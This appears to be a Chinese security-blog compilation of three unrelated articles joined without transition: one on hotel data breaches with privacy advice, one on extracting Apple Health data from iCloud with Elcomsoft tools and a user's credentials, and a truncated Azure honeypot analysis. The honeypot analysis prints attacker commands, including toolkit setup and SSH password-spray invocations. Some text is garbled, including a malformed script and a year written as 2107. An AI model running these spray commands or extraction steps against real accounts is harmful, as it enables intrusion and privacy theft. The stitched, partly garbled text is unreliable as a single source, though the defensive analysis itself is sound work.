2013年一份名为“2000万开房数据”的资料被网友疯狂下载,引发了国人关于住宿隐私和对酒店的信任危机。当时浙江慧达驿站公司为全国4500多家酒店提供网络安全服务,也就是说你在这些酒店入住的任何信息都能被查到。当时,有许多人深受其害。有的人因此婚事泡汤,其未婚妻通过该数据库发现未婚夫曾在几年前几乎每周,都有几个晚上到酒店开房,每次只逗留两三小时。虽然此人解释是与前女友开房时留下的记录,但未婚妻最终还是选择与他分手。

2015年2月,漏洞盒子平台的安全报告指出,知名连锁酒店桔子、锦江之星、速8、布丁以及高端酒店万豪酒店集团(万豪、丽思卡尔顿等)、喜达屋集团(喜来登、艾美、W酒店等)、洲际酒店集团(假日等)存在严重安全漏洞,房客开房信息一览无余,还可对酒店订单进行修改和取消。

2016年1月18日,据《华尔街日报》报道,凯悦酒店集团近日遭遇支付卡数据等信息泄露事件,且波及了全球约50个国家的250间酒店,约占凯悦运营中酒店数量的40%。相关数据显示,2015年8月13日至12月8日期间,凯悦管理的部分酒店中存在支付卡数据有未授权访问迹象,其中少数地区数据泄露始于2015年7月31日。外泄的信用卡及相关信息包括持卡人姓名、卡号、有效期和安全码,有些卡信息外泄的时间甚至长达数月。

2017年4月,洲际酒店集团泄露的数据超过了1000家酒店。受影响的品牌包括洲际旗下的假日酒店、皇冠假日酒店、英迪格酒店和伍德套房酒店。黑客通过卡上的磁条,窃取数据类型包括:持卡人姓名,信用卡号,截止日期,内部验证码。其实,早在当年2月,洲际酒店集团就已经已经确认旗下的12家酒店的客户信用卡信息发生泄露。

据悉,遭遇信用卡数据泄露的12所酒店包括旧金山洲际酒店、阿鲁巴岛假日酒店、芝加哥华丽一英里洲际酒店、圣何塞谷皇冠假日酒店、旧金山渔人码头假日酒店、洛杉矶世纪城洲际酒店、MarkHopkins洲际酒店、亚特兰大Buckhead洲际酒店、Willard洲际酒店、多伦多Yorkville洲际酒店、圣胡安洲际度假酒店和赌场以及Nashville机场假日酒店。

酒店方发表声明称,凡是在2016年8至12月期间在这12家酒店的餐厅或者酒吧使用信用卡支付的客户都成为了此次数据泄露的受害人,而在酒店前台使用信用卡的用户则不受影响。

2017年10月,全球11个国家的41家凯悦酒店支付系统被黑客入侵,大量数据外泄,而且这是自2016年1月后,凯悦酒店发生的第二次严重数据泄露事件。发生信息泄露事件受影响最大的凯悦酒店数量位于中国,共有18家,泄露的信息包括持卡人姓名,卡号,到期日期和内部验证码。,酒店分布涉及上海、广州、深圳、杭州、福州、贵阳、西安、济南、丽江、青岛、三亚、厦门12座城市。

2018年8月28日上午,网传一张截图显示,华住旗下包含多家连锁酒店开房信息的数据在暗网出售,标价8个比特币,或520门罗币,约合人民币37万元。该暗网卖家称,数据库包括华住会官网注册资料、入住登记信息、开房信息总计141.5G,涉及1.3亿人。

1.jpg

2018年11月,万豪国际集团11月30日发布公告称,旗下喜达屋酒店客房预订数据库遭黑客入侵,最多约5亿名宾客的信息可能被泄露。

2018年12月3日,有爆料称,陌陌3000万数据在暗网上以50美金的价格出售。对此,陌陌回应称,网传数据为三年前的数据,且跟陌陌用户的匹配度极低。

泄露的信息中都包含了哪些信息?

u=4045950189,4263541985&fm=173&app=49&f=JPEG.jpg

以万豪为例,泄露的宾客信息包含姓名、邮寄地址、电话号码、电邮地址、护照号码、SPG 俱乐部会员账户资料、出生日期、性别、入住和退房信息、预订日期及通讯偏好等信息。

信息泄露的每位宾客的情况不同,对于某些宾客而言,信息还包括支付卡号和支付卡有效期,但支付卡号已通过高级加密标准(AES-128)加密。解密支付卡号码需要解锁两项密钥,目前万豪国际无法排除该第三方是否已经掌握这两项密钥。

信息泄露后有补救措施吗?

陌陌事件后,其官方回应称,陌陌采用高强度单向散列算法(用户密码被单向加密成密文,但不能通过密文还原为明文)加密存储用户密码,因此任何人无法直接从陌陌数据库中直接获取用户明文密码。

此外,陌陌表示,陌陌采用了密码验证、设备验证等多重校验机制,以保护用户信息安全,任何人在其他设备上仅用手机号和密码试图登录陌陌账号,都会触发短信验证码等多种信息验证措施,他人根本无法仅凭手机号和密码就登录用户陌陌账号。

而万豪国际集团称此次用户数据泄露事件仅与喜达屋旗下的喜来登、威斯汀、瑞吉、W等酒店品牌有关,而其他不使用同一系统的酒店未受影响。作为一家酒店遍布全球的大型集团,客户信息泄露事件让万豪国际集团站上风口浪尖。美国上市的万豪国际周五大跌5.59%。以信息数量衡量,喜达屋酒店本次数据泄露事件仅次于2013年雅虎30亿账户遭窃。当时雅虎承担的诉讼成本超过4700万美元。万豪表示,现在估计此次黑客攻击造成的财务损失还“为时过早”,该集团的网络保险可以支付部分费用,这起事件不会影响其长期财务健康。目前万豪正在调查用户信息泄露是否会波及中国酒店及中国顾客。考虑到万豪在中国也有大量酒店,这次泄露事件恐怕大概率涉及中国顾客。

虽然酒店已经联系警方报警了,但这些信息已经被出售了。

从这两个案例可以看出,信息泄露后,并没有什么实质上的补救措施。

很多人可能没有认识到事情的严重性,很多人都不知道这些个人信息的泄露会造成怎样的后果,那么个人信息泄露究竟有多可怕呢?

信息泄露引发的连锁攻击

1.有针对性的电话骚扰,对于个人信息泄露的危害,要根据被泄露的详尽信息来判定,比如,不法分子可能筛选出18—35岁女性,进行化妆品、母婴产品等定向电话骚扰。

2.相关联账户的攻击,电话骚扰是一方面,但密码保护更紧迫。密码管理是人人都在经历的事,以中国来说,很多人在邮箱、QQ、微博、支付宝中使用相同的用户名和密码。支付宝等重要网站的防护等级可能较高,但邮箱的防护等级就偏弱。一旦邮箱密码被盗,其他的账户都可能遭殃。还有很多网站注册时要登记邮箱,在启动“找回密码”功能时,会把网站新密码发到注册邮箱内。一旦邮箱密码被攻破,不法分子完全可以通过曲线迂回的方式,利用“找回密码”功能,同样能攻破防护等级较高的网站。

3.网络钓鱼攻击,由于攻击者已经掌握了目标的详细信息,因此可以定制化钓鱼邮件的主题,让客户防不胜防。

4.敲诈勒索,利用客户的做贼心虚的心理,进行威胁,达到获利的目的。

怎样保护自己的隐私信息

这要从三个层面来进行防护:个人层面、酒店层面、制度层面。

· 个人层面的防护

1.选择官网进行登陆,在填写个人信息时,没有必要的信息就不填。注意,一定要对官网的真实性进行验证,仔细查看。

2.尽量不要在咖啡店等有着大量蹭网行为的公共网络中预定房间,防止网络劫持。

3.对于一些小的旅馆和酒店的预约网站,能不用尽量不用,因为他们所用的网络服务商的安全能力往往不会太强,很容易被攻击,尽量使用电话预约。

现在网络上有很多的网站,其中有一些网站是不正规的,如果在注册这些网站的时候填写了个人信息,那么这些网站可能会把信息售卖出去,要知道,这些个人信息在黑市是卖得非常便宜的,只要几分几毛钱一条,因为一般来说,网站的数据库中的数据都是非常巨大的,可能一次高达几十上百万条。

对于已注册过得酒店账号要做到以下几点:

1.定期更改密码,避免使用容易猜到的密码,避免不同账户使用相同密码。很多人习惯使用弱密码,或者本人生日等作为密码,这些也很容易被人破解。“这次泄露的字段中就包括身份证号码和邮箱,如果是用生日作为密码,等于是把密码告诉别人。”网络安全专家提醒消费者,密码保护的核心是进行分级管理,按照重要程度设置不同密码。为了防止密码太多容易混淆,还应该设置自己的密码规则,如事先设定好特定的数字、字母组合。

2.查阅你的银行卡账户结算单,留意是否有任何未经授权的交易,一旦发现,立即通知发卡银行。

3.对于企图通过网络欺诈(一般称为“网络钓鱼”)收集数据的第三方(包括使用虚假网站链接),要保持警惕,酒店不会通过电话或电邮要求你提供密码。

· 酒店层面

事实上目前的酒店信息系统管理大致有以下两类,其一是由酒店集团自主开发的PMS系统;其二外包给大型信息系统服务商。

作为一种客观事实,酒店领域近年来屡屡发生大规模泄露事件,不得不让人深思,到底要怎样做才能保护宾客的信息?

从这几起典型的酒店数据泄露事件的原因来看,主要有以下几种:

1.未经授权的第三方组织窃取数据

虽然万豪并未明确指出数据泄露的原因,但从官方声明中提到的“an unauthorized party”,可以猜测本次数据泄露与第三方支持人员有很大关系。酒店管理系统比较复杂,通常涉及大量第三方参与系统开发与运维支持。因此很容易出现第三方支持人员或者内部人员利用系统漏洞取得数据库访问权限。而2017年凯悦酒店集团的数据泄露事件也是一些酒店IT系统被注入第三方恶意软件代码,通过酒店管理系统的漏洞获取数据库的访问权限,从而提取酒店客户的支付卡信息并解密。

2.特权账号被公开至Github导致泄露

这类原因以华住集团的泄漏事件为典型代表,开发人员将包含有数据库账号和密码的代码传至了Github上,被黑客扫描到以后进行了拖库。这一类原因已经成为全行业数据泄露的主要原因之一,Uber在2107年因此泄露了5700万用户信息。

3.POS机被恶意软件感染

这一原因的典型事件是希尔顿和洲际酒店集团。据公开的消息,这两起数据泄露事件都是由于POS机被植入了恶意程序,导致支付卡信息被窃取。

在上述许多事例中,攻击者把恶意软件植入酒店中的餐厅、酒吧等零售终端设备。过去几年中,受恶意软件侵入的零售终端设备是导致支付卡数据泄露的主要源头。恶意代码常常通过被黑客攻击的远程管理工具来植入。一旦黑客将恶意软件植入零售终端设备,他们就能远程获取任何一张在收银机上刷过的支付卡的数据。

在此,小编的建议是酒店采用微信或支付宝这样的支付方式。虽然最近也发生了“微信支付”勒索病毒事件,但这是另一个层面的话题了。

所以酒店要做的就是:

1.提高安全意识,从制度上确保将宾客信息的安全性放在第一位;相较于一些专业数据收集机构,宾客信息数据保护在酒店管理中的重要性排序或许从未靠前。酒店数据库如此容易被黑客侵入,应与此有直接关系。但是,一再发生的泄露事故表明,现代酒店所掌握的房客信息,已经不容小觑,如果再沿用低级别的管理手段,将形成巨大的泄露风险。

从此次万豪公布的信息看,酒店泄露的房客信息包括名字、邮寄地址、邮箱地址、电话号码、护照号码、出生日期、性别、到达和离店信息等,其实已经构成一种完整意义上的个人大数据,其隐私程度,丝毫不亚于专业数据收集机构所收集的用户痕迹。就此来说,当前酒店领域的数据库保护系统,应当全面升级。而其重要性和迫切性,甚至可能超过卫生问题的解决。相应的,这方面的监管配置也应同步强化,将数据保护能力纳入到对酒店的评级、考核中。

2.提前注意各种安全隐患和相关的漏洞风险报告,此次事件令人震惊的是,信息泄露最早始于2014年,但直到2018年9月8日,万豪国际集团才收到内部安全工具发出的警报。这导致2018年9月10日及之前喜达屋酒店预订数据库中的宾客信息可能遭泄露。万豪表示,这起事件的大部分细节尚不清楚,并有待调查。该公司表示正在调查网络攻击的各个方面,包括它是如何发生的,是否访问了未加密的支付数据,或者为什么在2014年入侵开始时安保程序没有被激活,以及其他细节。这说明了管理者对业务系统存在的漏洞和安全风险心存侥幸,对敏感数据资产梳理不清,哪些人、哪些系统有访问权限情况不明。

3.对信息安防的具体管理实施代码严控(主要是对第三方代码进行严格管理)、安全渗透测试、权限梳理、数据加密、审计与分析、数据脱敏。

4.加强对日常网络运行的基础设施的检查。

5.加强事后的补救措施,除了相关的管理要服务到位以外,在技术上,更是要找专业的人进行补救,防止造成二次攻击。比如这次,万豪使用“email-Marriott.com”域名发送通知电子邮件,该域名是由第三方公司CSC代理注册。这封电子邮件上没有任何信息可以证明其是合法的,域名未能加载,也不存在可识别的HTTPS证书。事实上,除了万豪数据泄露通知网站上的一张隐藏记录可以确认该域名是合法的以外,没有其他简单的方法可以来确认该域名的真实性。从理论上来说,这封邮件很容易被不法分子所利用,进行钓鱼攻击,从而让客户遭受二次伤害。

于Rendition Infosec创始人Jake Williams就做了一个简单的测试,他申请了一个“email-marriot.com” 域名,它和“email-Marriott.com”域名很相似,对一般用户来讲,这看起来很像是合法的域名,许多人甚至不会注意到拼写错误。Jake Williams用这一事实警告用户不要盲目信任任何酒店发来的邮件或链接。

Williams并不是唯一一个站出来保护万豪客户免受网络罪犯侵害的人。在安全巨头FireEye工作的Nick Carr,在万豪事件发生的当天,就注册了相似域名“email-mariott.com”,其目的也是想测试,万豪是否是在用专业的态度在保护消费者。

6.对内部员工进行安全培训,认识到隐私保护的重要性。12月4号,周柏豪到江门举办《ONE STEP CLOSER PAKHO LIVE 2018巡回演唱会》,入住了某酒店,登记了自己的信息,却没想到,短短几个小时后,自己的私人信息遭到了泄露,被全网疯传,包括自己的身份证号和照片等等私人重要信息,而这一切都是当时入住酒店时,酒店工作人员好奇,拍摄了电脑荧幕上的信息,发到了朋友圈,一时间遭到很多人的疯传,严重侵犯了周柏豪的隐私。

3.jpg

· 制度层面

类似的新闻除了让人愤怒和后怕,更多人体会到的是深深的无力感。酒店数据库的脆弱,只是造成当下个人数据等隐私信息保护不力的冰山一角,或者说它并非是一个特殊现象。

具体如何做,必然是一个复杂的系统工程。这里仅提两个细节。一是,自2003年就开始起草的《个人信息安全法》至今仍未颁布实施;11月8日,中国最高人民检察院检察长在第五届世界互联网大会“大数据时代的个人信息保护”分论坛上提供了一组数据:2018年上半年,54%的中国网民在上网过程中遇到网络安全问题,据介绍,中国的《个人信息保护法》目前已列入本届全国人大常委会立法规划。

二是,据最新媒体报道,截至目前,上文中提到的“华住案”,至今依然未见有任何处罚及查处的消息。

所以我们的建议是:

首先,建议加大惩处力度,震慑不法分子。盗窃信息者,跟盗窃财物没什么区别;买卖信息者,就是在干买卖“赃物”的勾当。

其次,形成像美国那样的集体诉讼制度。不仅要追究不法之徒的刑事责任,还得追究有关公司失职或信息保管不善的民事责任。在美国,像这类赔偿都是金额巨大。

最后,个人要重视自我保护,不管我们是大人物,而是小人物,信息一旦泄露,就会被无限循环倒手的。小到推销电话,垃圾短信,到大网络攻击,敲诈勒索,在网络信息时代,总有一款攻击适合你。

苹果的“Apple Health”应用会从你的iPhone、Apple Watch和你使用的应用中收集健康数据,“Apple Health”应用突出显示了四大类别:“健身记录”、“睡眠状况”、“正念训练”和“营养摄入”。“Apple Health”会自动计算你的步数、步行距离和跑步距离。并且,如果你佩戴了Apple Watch,它会自动跟踪你的“健身记录”数据。

所以当我们提到苹果公司的“Apple Health”产品时,脑海中自然会浮现出心率、睡眠习惯、锻炼、步数和步行习惯等行为。iOS 8于2014年9月推出,所有iphone手机都预装了这款苹果Apple Health。该应用利用低能耗传感器,不断收集用户的身体活动信息。有了Apple Watch后, Apple Health可以收集更多的信息了。在本文中,我们将讨论Apple Health收集的数据类型、它们的存储方式以及如何提取这些数据。

Apple Health收集的数据有哪些?

打开Apple Health应用程序,你会立刻注意到四类数据: 健身记录、营养摄入、睡眠状况和正念训练数据。

1.jpg

健身记录甚至可以详细到你移动了多少步的程度,本文的提取数据将包含有关运动步数,比如跑步和行走数的信息,而Apple Watch和运动追踪器里,则包含更详细的信息。

营养摄入数据则包括你饮食的详细清单,其实你的iPhone是不会看自动记录你的这些信息的,需要由用户自己填写。

睡眠状况则会详细记录你的睡眠习惯,如果你戴着Apple Watch,则包含更详细的信息。

苹果日前发布最新操作系统ios10,“正念训练”作为新增的一个应用,与“健身、营养、睡眠”一起并列成为其“健康四大支柱”。正念对很多国人来说还很陌生,但是,在今天的欧美,正念(mindfulness)早已走入千家万户,成为继瑜伽之后迅速普及的又一东方智慧。Apple的正念游戏,它只是一个应用程序,引导你完成呼吸程序。目前,主流的正念练习方法包括正念呼吸、正念饮食、正念坐禅、正念行走、吃葡萄、3分钟呼吸空间、慈心冥想等。从现在的实际效果来看,程序里的正念功能可以帮助构建你的正念数据,不过现在看来还无法落实,广大民众所接纳的程度很低,但在未来的iOS版本中可能会有所改进。

健康纪录及临床文件架构(CDA)

临床文档架构(CDA)的开发是为了方便医疗设施之间的健康信息的电子传输,CDA广泛应用于美国、英国和澳大利亚的医疗机构,CDA信息以XML格式存储和传输。

Apple Health与CDA标准兼容,所有CDA文档都存储在健康记录下。事实上,iOS 11之前的老版本iOS只在健康记录部分包含CDA文档。但从ios11开始,此部分可能包含从其他来源获得的其他信息。

2.jpg

如果你收到的是完整的CDA文件(比如来自医院的文件),然后用苹果的Apple Health程序打开它,则CDA的信息就会被自动导入到Apple Health中。看来,一旦注册,CDA文件就会成为同步数据的一部分,并存储在你的iCloud账户中。

CDA文件包含高度敏感的医疗信息,注册到Apple Health程序的CDA信息会定期同步到iCloud上,这一点有点令人担忧,因为至少有一些健康数据被存储在云端,没有额外的进行加密。

苹果早在2018年3月就推出了健康记录功能,在推出时已有39家美国医院加入。今天,已经有更多的医疗机构参与到其中。

苹果的健康记录是基于HealthKit实现的FHIR(快速医疗互操作性资源)互操作性,除了基本健康数据外,另外苹果的健康记录还包含有关过敏、慢性病、免疫接种、实验室测试、处方、疾病研究等信息。HealthKit可以整合iPhone或iPad上其它Apple Health收集的数据,如血压和体重等, 也可以把HealthKit看成iPhone的健康数据的一个统一的数据库。

在你的许可下,Apple Health应用程序可能会访问你的健康数据。问题是,你能信任这些应用程序吗?特别是,你能相信他们至少会像苹果一样保护你的健康信息吗?我们都知道以前也有其他类型的数据泄漏(Celebgate和location泄漏。泄露的健康数据可能会被用于网络钓鱼和诈骗,并进行有针对性的攻击。

苹果的Apple Health从哪里获得数据?

苹果公司怎么会对用户如此了解呢? 虽然你可以在Apple Health程序中手动输入一些数据(例如你的身高和体重),但大多数实时信息和测量值都来自HealthKit设备,如iPhone,Apple Watch,健身追踪器和第三方应用程序(Nike + ,Strava,Workouts ++等)HealthKit兼容的应用程序和设备提交正念、心跳活动和运动的信息,其中可能包括心率或血压等测量值。这些信息会自动提交,它存储在Apple Health应用程序中,并且通过iCloud共享。

App Store包含大量与HealthKit兼容的第三方应用程序,可以自动提交数据。Nike+、Strava、training ++等数百个应用都会支持许多不同的数据类别,还可以访问Apple Health中的所有内容(除了健康记录和医疗ID之外)。Apple Health应用程序有一个“推荐”第三方应用程序列表,用于收集每个数据类别中的数据。用户必须在“运行状况”>“来源”下的各自类别中手动激活第三方应用程序。

自动数据提交的一个例外是Apple Watch,Apple Watch可以收集睡眠数据,并自动提交睡眠信息(尽管可能会使用第三方应用程序)。

添加你的个人信息

1.打开“Apple Health”,然后轻点“健康数据”标签页。 

2.轻点小人标识,然后添加你的信息。

将应用数据添加到“健康”

下面介绍了如何添加应用以及如何选取这些应用所跟踪的类别:

1.打开“Apple Health”,然后轻点“数据来源”标签页。 

2.滚动到“Apple Health”,你可以看到你已拥有的与“健康”兼容的应用。如果你没有看到某个应用,则说明它可能不兼容。 

3.轻点某个应用。

4.开启你要跟踪的类别。

你还可以直接在“Apple Health”中找到兼容的应用:

1.打开“Apple Health”,然后轻点“健康数据”标签页。

2.轻点某个要跟踪的类别,例如“正念训练”。 

3.滚动到“推荐应用”。

4.下载推荐用来跟踪这个类别的应用之一。

5.下载这个应用后,请打开它并进行设置。

6.打开“Apple Health”,轻点“数据来源”标签页,然后轻点这个应用。开启你要跟踪的类别。

你有权决定将哪些信息存入“Apple Health”中,以及哪些应用可以从“健康”中获取你的信息。可以访问HealthKit的应用必须包含隐私政策。在允许某个应用访问你的健康和健身信息之前,请先查看这个应用的隐私政策。

添加Apple Watch 数据

“Apple Health”数据会自动从 Apple Watch 添加。以下是查看方法:

1.要查看你的目标和活动、锻炼和站立数据,请轻点“健康数据”标签页,然后轻点“健身记录”。

2.要查看你的心率数据,请轻点“健康数据”标签页,然后轻点“心脏”。进一步了解心率传感器的准确性和局限性。

3.要查看来自“呼吸”应用的数据,请轻点“健康数据”标签页,然后轻点“正念训练”。进一步了解“呼吸”应用。

如果“健康”不跟踪 iPhone 或其他设备上的步数或其他信息,请尝试以下步骤:

1.打开“Apple Health”,然后轻点“数据来源”标签页。

2.在“设备”下,轻点你的 Apple Watch。

3.轻点“隐私设置”,并确保“健身跟踪”已开启。

不出所料,Apple Watch是Apple Health应用数据收集的最大来源。除了收集像iPhone里的信息外,Apple Watch还可以测量用户的心率,检测用户是站着还是在运动,并计算燃烧的卡路里数。Apple Watch内置的计步器也比iPhone更精确。最新款Apple Watch 4还支持心电图(目前仅在美国使用)。

Apple Watch支持Pedometer++或Runkeeper等第三方应用,甚至支持追踪用户睡眠习惯的应用,所有这些数据也被传输到苹果的Apple Health程序中。

第四代Apple Watch有一个特别有趣的新功能: the fall detection(跌落检测),默认情况下,该功能仅针对高级用户自动激活,但可以通过еругыук手动启用。一旦被激活,跌落检测就能够识别三种不同的跌落模式,该功能可配置为自动呼叫紧急号码。

跌落检测信息可以作为重要的数据参考,提供犯罪的精确时间戳(精确到秒)。Apple Watch记录并同步iPhone上的跌落事件,该数据由苹果的Apple Health程序接收,并自动与iCloud同步。因此,即使手机和手表都是从受害者处获取的,也可以获得这些数据。

查看你的每日进度

1.打开“Apple Health”,然后轻点“今天”标签页。要查看另一天的数据,请在日历上轻点另一个日期。

2.轻点“步数”等任何指标。 

3.要查看更多信息,请轻点图表或图形。

你也可以将指标添加到“个人收藏”,让它显示在“今天”屏幕的顶部。轻点“健康数据”标签页,再轻点某个类别,然后轻点“添加到个人收藏”。 

添加其他来源的数据

1.手动将数据添加到“健康”应用。

2.使用“时钟”应用中的“就寝”来跟踪你的睡眠状况。

3.管理多个来源的健康信息。

4.在“健康”应用中设置医疗急救卡,以访问重要的医疗信息。

5.你可以在装有 iOS 11.3 的 iPhone 上查看多个机构提供的健康记录。添加你的健康记录并查看受支持的机构。

备份你的健康信息

“Apple Health”信息储存在 iCloud 中不论这些信息是在 iCloud 与设备之间传输,还是储存在 iCloud 中,都会被加密。要停止在 iCloud 中储存“健康”数据,请前往“设置”>“你的姓名”>“iCloud”,然后关闭“健康”。

如果你不使用 iCloud,可以通过加密 iTunes 备份来备份“健康”中的信息。

除了这四类主要数据外,“Apple Health”数据还包括以下数据类型:

1.身高和体重(必须由用户输入);

2.健康档案:СDA和健康记录;

3.心脏数据:测量血压和心率(这需要额外的硬件,如Apple Watch);

4.生殖健康:关于性活动和月经周期的信息;

5.健康体检结果:各项体检结果(如血糖水平);

6.生命体征:血压、体温、心率、呼吸频率;

7.身份数据:基本医疗资料;

Apple Health的安全防护

我们曾写过一篇关于苹果健康安全的文章:Apple Health的下一件大事:《健康、云和安全》。对于数据提取,需要注意的是,Apple使用的是两个不同的容器来根据某些未知因素同步健康数据。第一个容器用于某些特定配置(例如,如果用户的Apple ID同时具有ios11和ios12设备,或者用户具有某些额外的跟踪器或医疗硬件),则它只包含存储的信息,则包含的存储信息没有任何其他保护。此时,从该容器提取健康数据与访问其他类型的同步信息没有区别;它不需要密码,并且可以通过使用身份验证令牌来获得数据,该容器中的信息由苹果公司在处理执法请求和用户提出GDPR提取请求时提供。

第二个容器使用基于用户密码的额外AES256加密层来保护iCloud消息,此容器中存储了大多数健康数据。只有通过完整的身份验证(来自其中一个可信设备的登录,密码,双因素身份验证代码和屏幕锁定密码)才能访问此容器,而身份验证令牌不能用于访问此容器中的信息。由于安全加密的缘故,苹果无法访问存储在这个容器中的信息,因此,在为执法部门和GDPR请求提供服务时,苹果是无法提供其内容的。

在我们的测试中,大约35万条记录(总共200万条记录)存储在第一个未加密的容器中。

如何访问苹果的Apple Health数据

我们目前总共知道6种获取苹果健康数据的不同方法,不过具体要使用哪种方法,还是要取决于提取者的访问权限。例如,如果在解锁的iPhone上,可以将Apple Health程序中的信息导出为XML格式。或者,可以生成加密的本地备份并从备份中提取健康信息。执法部门也可能通过政府请求直接从苹果获得信息,而最终用户可以发起GDPR提取请求。

1.从Apple Health程序(XML)导出时,Phone必须解锁;

2.本地备份(仅加密);

3.文件系统获取(需要越狱);

4.GDPR请求(7天等待期),数据仅来自未加密的容器;

5.政府或执法机构的要求(只提供给某些政府及执法机构);

6.云提取(需要登录名、密码和一次性双因素验证代码;如锁屏密码已知,将提取更多信息);

从Apple Health程序导出数据

如果你可以使用密码或生物识别解锁iPhone或iPad设备,你就可以使用“共享”功能直接从Apple Health程序中导出苹果的Apple Health信息。数据将被导出到包含两个XML文件的ZIP文件中。目前,我们还不知道有哪些工具可以自动分析导出的数据。 LE请求和GDPR提取请求返回的信息同样令人难以分析。

从iCloud获取健康数据

只要知道用户的Apple ID和密码,就可以从用户的iCloud账户获取健康信息。此外,双因素身份验证帐户还需要访问辅助身份验证因素。

从iCloud提取健康数据的步骤:

1.启动Elcomsoft Phone Breaker,并选择Apple>从iCloud下载>同步数据。

3.png

2.指定用户的Apple ID和密码:

4.png

3.提供一次性双因素代码以通过双因素身份验证;

4.选择要从iCloud获取的数据,确保选择了 “Health”框;

5.png

5.系统将提示你输入密码,并从列表中选择一个可信设备,然后输入其锁屏密码或系统密码;

6.png

6.2.png

6.健康数据将被下载。

7.png

7.下载消息之后,单击“完成”。

8.png

分析Apple Health数据

Elcomsoft Phone Breaker会以一种可以使用Elcomsoft Phone Viewer分析的格式下载健康信息,不过分析下载的健康数据需要EPV 3.50或更高版本。

9.png

从Health选项卡中选择要分析的特定数据类型即可:

10.1.png

10.2.png

10.3.png

10.4.png

一般来说,黑客会在攻击之前选择攻击目标,比如盗取存储在受害者计算机上的信息,或者获取设备的某些访问权限,更有甚者,直接使用受害设备本身的处理能力,甚至将计算机作为其他攻击的起点(比如挖矿或作为肉鸡)。在Microsoft Azure的Linux虚拟机(VM)上,研究人员经常看到攻击者安装并运行加密货币挖掘软件。

Azure安全中心(ASC)使用在多个Linux发行版上运行的代理,在启用auditd时,它会收集包括流程创建事件的日志。它们通过检测pipeline运行,以查找恶意和可疑的活动,安全警报会显示在ASC的门户网站上。

Microsoft威胁情报中心使用了一系列方法来识别新出现的威胁,包括复杂的混合Linux蜜罐服务,蜜罐是一种诱饵系统,引诱网络攻击者自我暴露。

在这篇文章中,研究人员讨论了一些最近新发生的实例,其中针对蜜罐的攻击源自客户设备中的IP。在这种情况下,受攻击的客户VM上的恶意行为会导致Azure安全中心发出警报。对这些攻击的分析可以更深入的了解攻击者的行为,并为进一步的检测提供依据,使研究人员能够更早的向用户发出攻击警报,并提供一个更完整的端到端攻击视图。

攻击的初步阶段

检测攻击的设置如下所示,根据检测到的数据,研究人员发现使用具有默认密码的Apache Cassandra帐户最一开始只会破坏Azure VM。一旦获得访问权限,攻击就会被蜜罐(1)和其他目标(2)捕获。根据捕获的信息,研究人员确定了攻击者用来登录此VM的两个IP地址(3,4),其中一个也攻击了蜜罐(5)。

1.png

研究人员看到的针对客户虚拟机的最常见的攻击之一是暴力攻击或密码喷雾攻击,这些攻击很快会演变成挖矿。

主机枚举

攻击的初步阶段过后,攻击者从域nasapaul.com下载了一个基于perl的主机枚举脚本,该域包含一些枚举和速度测试脚本。 Azure安全中心通过“从已知恶意来源检测到的文件下载”警报,来提醒用户。

2.png

该脚本在/ proc / cpuinfo文件中查找特定信息,以便让攻击者了解它们所使用的设备类型。你可以在下面的文本框中看到一些命令。这个脚本还运行了一个speed test命令,这是nasapaul.com提供的服务。

CPU=$(grep –m 1 “model name” /proc/cpuinfo | cut –d: –f2 | sed-e ‘s/^ */ /’ |sed –e ‘s/$/ / ‘)

CPUS=$ (grep –c ^processor /proc/cpuinfo)

STEP=$ (grep –m 1 “stepping” /proc/cpuinfo | cut –d: –f2 | sed –e ‘s/^ */ / ‘ | sed –e ‘s/$/ / ‘) 

BOGO=$ (grep –m 1 “stepping” /proc/cpuinfo | cut –d: –f2 | sed –e ‘s/^ */ / ‘ | sed –e ‘s/$/ / ‘)

OS=$ (lsb_release –si)

ram=$ (free –m | grep –oP ‘\d+’ | head –n 1)

VER=$ (uname –a)

uptime=$ (</proc/uptime)

uptime=$ {uptime%%. *} bold=$ (tput bold)

zile=$ ( ( uptime%60 ( )

secunde=$ ( ( uptime%60 ) )

minute=$ ( ( uptime/60%60 ) )

ore=$ ( ( uptime/60/60%24 ) )

vid=$ (lspci | grep VGA |cut -f5- -d ‘ ‘)

DISK=$ (df –h --total | grep total |awk ‘ {printf “” $2 “B\n\n” } ‘ )

后期攻击

该会话结束时,攻击者会紧接着启动一个新的会话,并创建一个与安全FTP服务器的连接,再将某些文件删除,修改要执行的文件。

chmod +x 1 cyberinfo cybernetikrandom go h4e petarda port pscan2 screen speedtestvps.py sshd

这组文件是来自一个已知黑客组织的工具包,攻击者使用“go”文件,在两个不同的B类IP范围运行“pscan2”和“sshd”。这意味着他们对65000多个地址进行了扫描。他们还使用了“h4e”工具,研究人员的调查显示这是一个用于拒绝服务攻击的perl脚本。文本文件“port”会保存扫描结果,扫描结果通常是IP正在监听的内容以及可能打开的端口。目前尚不清楚这些命令是否能成功完成扫描,因为两小时后,攻击者就将所有命令全部删除,并删除了另一个工具包。

密码喷雾(Password spray)

wget 是一个从网络上自动下载文件的自由工具,支持通过HTTP、HTTPS、FTP三个最常见的 TCP/IP协议下载,并可以使用 HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。本文所检测的攻击者,就是使用的Wget,如上所述,攻击者会将用于攻击的工先进行修改,再执行攻击。

chmod +x a all classes co gasite.txt hu pass range scan.log ssh2 x

/bin/bash ./a ##.49
./ssh2 1500 -b ##.49 pass 22 "uname -a & lscpu"
/bin/bash ./a ###.66
./ssh2 1500 -b ###.66 pass 22 "uname -a & lscpu"
nano gasite.txt

这样经过设置后,攻击者就可以针对多个B类范围重复相同的简单攻击模式了。文件“a”将B类范围的前两个八位字节作为输入,然后调用“ssh2”。 “ssh2”接受多个线程的输入、范围、密码文件(在本文的样本中,包含超过35000个用户或密码组合的密码)、端口号以及要运行的初始命令,文件“gasite.txt”收集输出内容。

稍后,研究人员会看到文件“co”和“range”与“classes”文件夹一起使用。 “classes”文件夹包含26个云和托管公司及其IP范围的详细信息,微软和其他主要供应商的信息都包含在其中。文件“co”和“range”只是将最初的两个八位字节扩展为一个完整的IP。

攻击者似乎没有执行“all”,“hu”或“x”文件,但它们都与配置IP范围有关,特别是填写IP的完整四个八位字节,很可能“ssh2”可执行文件使用了这些文件。

经过对工具包的分析,研究人员发现输出文件名“gasite.txt”转换为了“found.txt”,“ssh2”文件是使用UPX打包或混淆的ssh扫描程序的自定义罗马尼亚语版本。反编译后,罗马尼亚语字符串就会出现(见下图)。

6.png

Azure安全中心的分析过程

